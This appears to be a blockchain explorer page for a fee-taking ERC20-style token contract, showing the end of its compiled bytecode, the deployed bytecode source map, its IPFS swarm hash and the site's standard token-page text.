5550505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611017573d5f803e3d5ffd5b5050565b5f80611027838561144c565b905083811015610df65760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161038a565b5f610df683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d0f565b5f81836110da5760405162461bcd60e51b815260040161038a91906110e6565b505f610d3e84866113bc565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610d75575f80fd5b5f8060408385031215611140575f80fd5b823561114b8161111b565b946020939093013593505050565b5f805f6060848603121561116b575f80fd5b83356111768161111b565b925060208401356111868161111b565b929592945050506040919091013590565b5f602082840312156111a7575f80fd5b8135610df68161111b565b5f80604083850312156111c3575f80fd5b82356111ce8161111b565b915060208301356111de8161111b565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561123757815f190482111561121d5761121d6111e9565b8085161561122a57918102915b93841c9390800290611202565b509250929050565b5f8261124d575060016102d4565b8161125957505f6102d4565b816001811461126f576002811461127957611295565b60019150506102d4565b60ff84111561128a5761128a6111e9565b50506001821b6102d4565b5060208310610133831016604e8410600b84101617156112b8575081810a6102d4565b6112c283836111fd565b805f19048211156112d5576112d56111e9565b029392505050565b5f610df660ff84168361123f565b80820281158282048414176102d4576102d46111e9565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611347575f80fd5b8151610df68161111b565b5f805f60608486031215611364575f80fd5b8351925060208401519150604084015190509250925092565b5f6001820161138e5761138e6111e9565b5060010190565b818103818111156102d4576102d46111e9565b634e487b7160e01b5f52603260045260245ffd5b5f826113d657634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561142b5784516001600160a01b031683529383019391830191600101611406565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156102d4576102d46111e956fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208afaf2366e29fb19fd1cdb8298c15a2281f4086830ff6427273c8d0dd63f5bbf64736f6c63430008190033

Deployed Bytecode Sourcemap

3725:6602:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5653:83;;;;;;;;;;-1:-1:-1;5723:5:0;;;;;;;;;;;;-1:-1:-1;;;5723:5:0;;;;5653:83;;;;;;;:::i;:::-;;;;;;;;6482:161;;;;;;;;;;-1:-1:-1;6482:161:0;;;;;:::i;:::-;;:::i;:::-;;;1058:14:1;;1051:22;1033:41;;1021:2;1006:18;6482:161:0;893:187:1;5930:95:0;;;;;;;;;;;;;:::i;:::-;;;1231:25:1;;;1219:2;1204:18;5930:95:0;1085:177:1;6841:311:0;;;;;;;;;;-1:-1:-1;6841:311:0;;;;;:::i;:::-;;:::i;5839:83::-;;;;;;;;;;-1:-1:-1;5839:83:0;;4159:1;1870:36:1;;1858:2;1843:18;5839:83:0;1728:184:1;6033:117:0;;;;;;;;;;-1:-1:-1;6033:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;6126:16:0;6099:7;6126:16;;;:7;:16;;;;;;;6033:117;2938:148;;;;;;;;;;;;;:::i;:::-;;2724:79;;;;;;;;;;-1:-1:-1;2762:7:0;2789:6;2724:79;;-1:-1:-1;;;;;2789:6:0;;;2315:51:1;;2303:2;2288:18;2724:79:0;2169:203:1;5744:87:0;;;;;;;;;;-1:-1:-1;5816:7:0;;;;;;;;;;;;-1:-1:-1;;;5816:7:0;;;;5744:87;;5338:307;;;;;;;;;;;;;:::i;6158:167::-;;;;;;;;;;-1:-1:-1;6158:167:0;;;;;:::i;:::-;;:::i;10010:314::-;;;;;;;;;;;;;:::i;6333:141::-;;;;;;;;;;-1:-1:-1;6333:141:0;;;;;:::i;:::-;-1:-1:-1;;;;;6441:16:0;;;6414:7;6441:16;;;:9;:16;;;;;;;;:25;;;;;;;;;;;;;6333:141;6482:161;6557:4;6574:39;2381:10;6597:7;6606:6;6574:8;:39::i;:::-;-1:-1:-1;6631:4:0;6482:161;;;;;:::o;5930:95::-;5983:7;4215:13;4159:1;4215:2;:13;:::i;:::-;4202:26;;:10;:26;:::i;:::-;6003:14;;5930:95;:::o;6841:311::-;6939:4;6956:36;6966:6;6974:9;6985:6;6956:9;:36::i;:::-;7003:119;7012:6;2381:10;7034:87;7070:6;7034:87;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7034:17:0;;;;;;:9;:17;;;;;;;;2381:10;7034:31;;;;;;;;;;:35;:87::i;:::-;7003:8;:119::i;:::-;-1:-1:-1;7140:4:0;6841:311;;;;;:::o;2938:148::-;2851:6;;-1:-1:-1;;;;;2851:6:0;2381:10;2851:22;2843:67;;;;-1:-1:-1;;;2843:67:0;;;;;;;:::i;:::-;;;;;;;;;3045:1:::1;3029:6:::0;;3008:40:::1;::::0;-1:-1:-1;;;;;3029:6:0;;::::1;::::0;3008:40:::1;::::0;3045:1;;3008:40:::1;3076:1;3059:19:::0;;-1:-1:-1;;;;;;3059:19:0::1;::::0;;2938:148::o;5338:307::-;2851:6;;-1:-1:-1;;;;;2851:6:0;2381:10;2851:22;2843:67;;;;-1:-1:-1;;;2843:67:0;;;;;;;:::i;:::-;5392:12:::1;:71:::0;;-1:-1:-1;;;;;;5392:71:0::1;::::0;::::1;::::0;;;;5474:55:::1;::::0;5491:4:::1;::::0;-1:-1:-1;;;;;5392:71:0;5506:12;;::::1;;4215:13;4159:1;4215:2;:13;:::i;:::-;4202:26;::::0;:10:::1;:26;:::i;5474:55::-;5567:12;;;;;;;;;-1:-1:-1::0;;;;;5567:12:0::1;-1:-1:-1::0;;;;;5567:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;5553:48:0::1;;5610:4;5617:12;;;;;;;;;-1:-1:-1::0;;;;;5617:12:0::1;-1:-1:-1::0;;;;;5617:17:0::1;;:19;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5553:84;::::0;-1:-1:-1;;;;;;5553:84:0::1;::::0;;;;;;-1:-1:-1;;;;;5299:15:1;;;5553:84:0::1;::::0;::::1;5281:34:1::0;5351:15;;5331:18;;;5324:43;5216:18;;5553:84:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5540:10;:97:::0;;-1:-1:-1;;;;;;5540:97:0::1;-1:-1:-1::0;;;;;5540:97:0;;;::::1;::::0;;;::::1;::::0;;5338:307::o;6158:167::-;6236:4;6253:42;2381:10;6277:9;6288:6;6253:9;:42::i;10010:314::-;2851:6;;-1:-1:-1;;;;;2851:6:0;2381:10;2851:22;2843:67;;;;-1:-1:-1;;;2843:67:0;;;;;;;:::i;:::-;10074:15:::1;::::0;::::1;::::0;::::1;;;10073:16;10065:51;;;::::0;-1:-1:-1;;;10065:51:0;;5580:2:1;10065:51:0::1;::::0;::::1;5562:21:1::0;5619:2;5599:18;;;5592:30;5658:25;5638:18;;;5631:53;5701:18;;10065:51:0::1;5378:347:1::0;10065:51:0::1;10127:12;::::0;10194:4:::1;6099:7:::0;6126:16;;;:7;:16;;;;;;10127:12;;;::::1;-1:-1:-1::0;;;;;10127:12:0::1;::::0;:28:::1;::::0;10163:21:::1;::::0;10225:1:::1;10227::::0;10229:7:::1;2762::::0;2789:6;-1:-1:-1;;;;;2789:6:0;;2724:79;10229:7:::1;10127:126;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10127:126:0;;;-1:-1:-1;;;;;6089:15:1;;;10127:126:0::1;::::0;::::1;6071:34:1::0;6121:18;;;6114:34;;;;6164:18;;;6157:34;;;;6207:18;;;6200:34;6271:15;;;6250:19;;;6243:44;10237:15:0::1;6303:19:1::0;;;6296:35;6005:19;;10127:126:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;10264:12:0::1;:19:::0;;-1:-1:-1;;10294:22:0;;;;;-1:-1:-1;10010:314:0:o;7160:333::-;-1:-1:-1;;;;;7253:19:0;;7245:68;;;;-1:-1:-1;;;7245:68:0;;6855:2:1;7245:68:0;;;6837:21:1;6894:2;6874:18;;;6867:30;6933:34;6913:18;;;6906:62;-1:-1:-1;;;6984:18:1;;;6977:34;7028:19;;7245:68:0;6653:400:1;7245:68:0;-1:-1:-1;;;;;7332:21:0;;7324:68;;;;-1:-1:-1;;;7324:68:0;;7260:2:1;7324:68:0;;;7242:21:1;7299:2;7279:18;;;7272:30;7338:34;7318:18;;;7311:62;-1:-1:-1;;;7389:18:1;;;7382:32;7431:19;;7324:68:0;7058:398:1;7324:68:0;-1:-1:-1;;;;;7403:16:0;;;;;;;:9;:16;;;;;;;;:25;;;;;;;;;;;;;:34;;;7453:32;;1231:25:1;;;7453:32:0;;1204:18:1;7453:32:0;;;;;;;7160:333;;;:::o;7501:1766::-;-1:-1:-1;;;;;7589:18:0;;7581:68;;;;-1:-1:-1;;;7581:68:0;;7663:2:1;7581:68:0;;;7645:21:1;7702:2;7682:18;;;7675:30;7741:34;7721:18;;;7714:62;-1:-1:-1;;;7792:18:1;;;7785:35;7837:19;;7581:68:0;7461:401:1;7581:68:0;-1:-1:-1;;;;;7668:16:0;;7660:64;;;;-1:-1:-1;;;7660:64:0;;8069:2:1;7660:64:0;;;8051:21:1;8108:2;8088:18;;;8081:30;8147:34;8127:18;;;8120:62;-1:-1:-1;;;8198:18:1;;;8191:33;8241:19;;7660:64:0;7867:399:1;7660:64:0;7752:1;7743:6;:10;7735:64;;;;-1:-1:-1;;;7735:64:0;;8473:2:1;7735:64:0;;;8455:21:1;8512:2;8492:18;;;8485:30;8551:34;8531:18;;;8524:62;-1:-1:-1;;;8602:18:1;;;8595:39;8651:19;;7735:64:0;8271:405:1;7735:64:0;7833:56;;;;;;;;7855:12;;-1:-1:-1;;;;;7855:12:0;;;7833:56;;7855:9;7812:17;7869:12;;;7855;7869;;;;;;;7833:56;;;;;;;;;;;;;;;;;;;:20;:56::i;:::-;2762:7;2789:6;-1:-1:-1;;;;;7904:15:0;;;2789:6;;7904:15;;;;:32;;-1:-1:-1;2762:7:0;2789:6;-1:-1:-1;;;;;7923:13:0;;;2789:6;;7923:13;;7904:32;7900:1012;;;7965:76;8037:3;7965:67;7987:15;;7977:9;;:25;7976:55;;8017:14;;7976:55;;;8004:12;;7976:55;7965:6;;:10;:67::i;:::-;:71;;:76::i;:::-;8070:10;;7953:88;;-1:-1:-1;;;;;;8062:18:0;;;8070:10;;8062:18;:49;;;;-1:-1:-1;8098:12:0;;-1:-1:-1;;;;;8084:27:0;;;8098:12;;;;;8084:27;;8062:49;:73;;;;-1:-1:-1;;;;;;8117:18:0;;;;;;:14;:18;;;;;;;;8115:20;8062:73;8058:125;;;8156:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8058:125;8208:10;;-1:-1:-1;;;;;8202:16:0;;;8208:10;;8202:16;:40;;;;-1:-1:-1;;;;;;8222:20:0;;8237:4;8222:20;;8202:40;8199:171;;;8275:79;8350:3;8275:70;8297:16;;8287:9;;:26;8286:58;;8329:15;;8286:58;;;8315:13;;8275:6;;:10;:70::i;:79::-;8263:91;;8199:171;8435:4;8386:28;6126:16;;;:7;:16;;;;;;8461:6;;;;8460:7;:27;;;;-1:-1:-1;8477:10:0;;-1:-1:-1;;;;;8471:16:0;;;8477:10;;8471:16;8460:27;:43;;;;-1:-1:-1;8491:12:0;;;;;;;8460:43;:77;;;;;8519:18;;8507:9;;:30;8460:77;8456:445;;;8584:15;;8561:20;:38;8558:133;;;8618:73;8635:55;8639:6;8647:42;8651:20;8673:15;;8647:3;:42::i;:::-;8635:3;:55::i;:::-;8618:16;:73::i;:::-;8739:21;8831:35;8844:21;8831:12;:35::i;:::-;8539:362;8456:445;7938:974;7900:1012;8927:13;;8924:162;;8995:4;8979:22;;;;:7;:22;;;;;;:37;;9006:9;8979:26;:37::i;:::-;8970:4;8954:22;;;;:7;:22;;;;;;;:62;;;;9034:40;;-1:-1:-1;;;;;9034:40:0;;;;;;;9064:9;1231:25:1;;1219:2;1204:18;;1085:177;9034:40:0;;;;;;;;8924:162;-1:-1:-1;;;;;9114:13:0;;;;;;:7;:13;;;;;;:25;;9132:6;9114:17;:25::i;:::-;-1:-1:-1;;;;;9098:13:0;;;;;;:7;:13;;;;;:41;9164:38;9180:21;:6;9191:9;9180:10;:21::i;:::-;-1:-1:-1;;;;;9164:11:0;;;;;;:7;:11;;;;;;;:15;:38::i;:::-;-1:-1:-1;;;;;9150:11:0;;;;;;;:7;:11;;;;;:52;;;;9218:41;;;9237:21;:6;9248:9;9237:10;:21::i;:::-;9218:41;;1231:25:1;;;1219:2;1204:18;9218:41:0;;;;;;;7570:1697;7501:1766;;;:::o;1356:190::-;1442:7;1478:12;1470:6;;;;1462:29;;;;-1:-1:-1;;;1462:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1502:9:0;1514:5;1518:1;1514;:5;:::i;:::-;1502:17;1356:190;-1:-1:-1;;;;;1356:190:0:o;6651:182::-;6737:11;;;;6728:43;;6737:8;6759:1;6750:11;;;;;4215:13;4159:1;4215:2;:13;:::i;6728:43::-;6791:11;;;;6782:43;;6791:8;6813:1;6804:11;;6782:43;6651:182;:::o;1554:246::-;1612:7;1636:1;1641;1636:6;1632:47;;-1:-1:-1;1666:1:0;1659:8;;1632:47;1689:9;1701:5;1705:1;1701;:5;:::i;:::-;1689:17;-1:-1:-1;1734:1:0;1725:5;1729:1;1689:17;1725:5;:::i;:::-;:10;1717:56;;;;-1:-1:-1;;;1717:56:0;;9510:2:1;1717:56:0;;;9492:21:1;9549:2;9529:18;;;9522:30;9588:34;9568:18;;;9561:62;-1:-1:-1;;;9639:18:1;;;9632:31;9680:19;;1717:56:0;9308:397:1;1717:56:0;1791:1;1554:246;-1:-1:-1;;;1554:246:0:o;1808:132::-;1866:7;1893:39;1897:1;1900;1893:39;;;;;;;;;;;;;;;;;:3;:39::i;9757:99::-;9814:7;9842:1;9840;:3;9839:9;;9847:1;9839:9;;;-1:-1:-1;9845:1:0;9757:99;-1:-1:-1;9757:99:0:o;9275:474::-;4936:6;:13;;-1:-1:-1;;4936:13:0;4945:4;4936:13;;;9377:16:::1;::::0;;9391:1:::1;9377:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9377:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9377:16:0::1;9353:40;;9422:4;9404;9409:1;9404:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1::0;;;;;9404:23:0::1;;;-1:-1:-1::0;;;;;9404:23:0::1;;;::::0;::::1;9448:12;;;;;;;;;-1:-1:-1::0;;;;;9448:12:0::1;-1:-1:-1::0;;;;;9448:17:0::1;;:19;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9438:4;9443:1;9438:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9438:29:0;;::::1;:7;::::0;;::::1;::::0;;;;;:29;9510:12:::1;::::0;9478:59:::1;::::0;9495:4:::1;::::0;9510:12;;::::1;;9525:11:::0;9478:8:::1;:59::i;:::-;9548:12;::::0;:193:::1;::::0;-1:-1:-1;;;9548:193:0;;:12;;;::::1;-1:-1:-1::0;;;;;9548:12:0::1;::::0;:63:::1;::::0;:193:::1;::::0;9626:11;;9652:1:::1;::::0;9668:4;;9695::::1;::::0;9715:15:::1;::::0;9548:193:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;4972:6:0;:14;;-1:-1:-1;;4972:14:0;;;-1:-1:-1;;;;9275:474:0:o;9901:101::-;9966:10;;9958:36;;-1:-1:-1;;;;;9966:10:0;;;;9958:36;;;;;9987:6;;9966:10;9958:36;9966:10;9958:36;9987:6;9966:10;9958:36;;;;;;;;;;;;;;;;;;;;;9901:101;:::o;1025:179::-;1083:7;;1115:5;1119:1;1115;:5;:::i;:::-;1103:17;;1144:1;1139;:6;;1131:46;;;;-1:-1:-1;;;1131:46:0;;11159:2:1;1131:46:0;;;11141:21:1;11198:2;11178:18;;;11171:30;11237:29;11217:18;;;11210:57;11284:18;;1131:46:0;10957:351:1;1212:136:0;1270:7;1297:43;1301:1;1304;1297:43;;;;;;;;;;;;;;;;;:3;:43::i;1948:189::-;2034:7;2069:12;2062:5;2054:28;;;;-1:-1:-1;;;2054:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2093:9:0;2105:5;2109:1;2105;:5;:::i;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;573:315;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;878:2;863:18;;;;850:32;;-1:-1:-1;;;573:315:1:o;1267:456::-;1344:6;1352;1360;1413:2;1401:9;1392:7;1388:23;1384:32;1381:52;;;1429:1;1426;1419:12;1381:52;1468:9;1455:23;1487:31;1512:5;1487:31;:::i;:::-;1537:5;-1:-1:-1;1594:2:1;1579:18;;1566:32;1607:33;1566:32;1607:33;:::i;:::-;1267:456;;1659:7;;-1:-1:-1;;;1713:2:1;1698:18;;;;1685:32;;1267:456::o;1917:247::-;1976:6;2029:2;2017:9;2008:7;2004:23;2000:32;1997:52;;;2045:1;2042;2035:12;1997:52;2084:9;2071:23;2103:31;2128:5;2103:31;:::i;2377:388::-;2445:6;2453;2506:2;2494:9;2485:7;2481:23;2477:32;2474:52;;;2522:1;2519;2512:12;2474:52;2561:9;2548:23;2580:31;2605:5;2580:31;:::i;:::-;2630:5;-1:-1:-1;2687:2:1;2672:18;;2659:32;2700:33;2659:32;2700:33;:::i;:::-;2752:7;2742:17;;;2377:388;;;;;:::o;2770:127::-;2831:10;2826:3;2822:20;2819:1;2812:31;2862:4;2859:1;2852:15;2886:4;2883:1;2876:15;2902:416;2991:1;3028:5;2991:1;3042:270;3063:7;3053:8;3050:21;3042:270;;;3122:4;3118:1;3114:6;3110:17;3104:4;3101:27;3098:53;;;3131:18;;:::i;:::-;3181:7;3171:8;3167:22;3164:55;;;3201:16;;;;3164:55;3280:22;;;;3240:15;;;;3042:270;;;3046:3;2902:416;;;;;:::o;3323:806::-;3372:5;3402:8;3392:80;;-1:-1:-1;3443:1:1;3457:5;;3392:80;3491:4;3481:76;;-1:-1:-1;3528:1:1;3542:5;;3481:76;3573:4;3591:1;3586:59;;;;3659:1;3654:130;;;;3566:218;;3586:59;3616:1;3607:10;;3630:5;;;3654:130;3691:3;3681:8;3678:17;3675:43;;;3698:18;;:::i;:::-;-1:-1:-1;;3754:1:1;3740:16;;3769:5;;3566:218;;3868:2;3858:8;3855:16;3849:3;3843:4;3840:13;3836:36;3830:2;3820:8;3817:16;3812:2;3806:4;3803:12;3799:35;3796:77;3793:159;;;-1:-1:-1;3905:19:1;;;3937:5;;3793:159;3984:34;4009:8;4003:4;3984:34;:::i;:::-;4054:6;4050:1;4046:6;4042:19;4033:7;4030:32;4027:58;;;4065:18;;:::i;:::-;4103:20;;3323:806;-1:-1:-1;;;3323:806:1:o;4134:140::-;4192:5;4221:47;4262:4;4252:8;4248:19;4242:4;4221:47;:::i;4279:168::-;4352:9;;;4383;;4400:15;;;4394:22;;4380:37;4370:71;;4421:18;;:::i;4452:356::-;4654:2;4636:21;;;4673:18;;;4666:30;4732:34;4727:2;4712:18;;4705:62;4799:2;4784:18;;4452:356::o;4813:251::-;4883:6;4936:2;4924:9;4915:7;4911:23;4907:32;4904:52;;;4952:1;4949;4942:12;4904:52;4984:9;4978:16;5003:31;5028:5;5003:31;:::i;6342:306::-;6430:6;6438;6446;6499:2;6487:9;6478:7;6474:23;6470:32;6467:52;;;6515:1;6512;6505:12;6467:52;6544:9;6538:16;6528:26;;6594:2;6583:9;6579:18;6573:25;6563:35;;6638:2;6627:9;6623:18;6617:25;6607:35;;6342:306;;;;;:::o;8681:135::-;8720:3;8741:17;;;8738:43;;8761:18;;:::i;:::-;-1:-1:-1;8808:1:1;8797:13;;8681:135::o;8821:128::-;8888:9;;;8909:11;;;8906:37;;;8923:18;;:::i;8954:127::-;9015:10;9010:3;9006:20;9003:1;8996:31;9046:4;9043:1;9036:15;9070:4;9067:1;9060:15;9086:217;9126:1;9152;9142:132;;9196:10;9191:3;9187:20;9184:1;9177:31;9231:4;9228:1;9221:15;9259:4;9256:1;9249:15;9142:132;-1:-1:-1;9288:9:1;;9086:217::o;9842:980::-;10104:4;10152:3;10141:9;10137:19;10183:6;10172:9;10165:25;10209:2;10247:6;10242:2;10231:9;10227:18;10220:34;10290:3;10285:2;10274:9;10270:18;10263:31;10314:6;10349;10343:13;10380:6;10372;10365:22;10418:3;10407:9;10403:19;10396:26;;10457:2;10449:6;10445:15;10431:29;;10478:1;10488:195;10502:6;10499:1;10496:13;10488:195;;;10567:13;;-1:-1:-1;;;;;10563:39:1;10551:52;;10658:15;;;;10623:12;;;;10599:1;10517:9;10488:195;;;-1:-1:-1;;;;;;;10739:32:1;;;;10734:2;10719:18;;10712:60;-1:-1:-1;;;10803:3:1;10788:19;10781:35;10700:3;9842:980;-1:-1:-1;;;9842:980:1:o;10827:125::-;10892:9;;;10913:10;;;10910:36;;;10926:18;;:::i

Swarm Source

ipfs://8afaf2366e29fb19fd1cdb8298c15a2281f4086830ff6427273c8d0dd63f5bbf
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.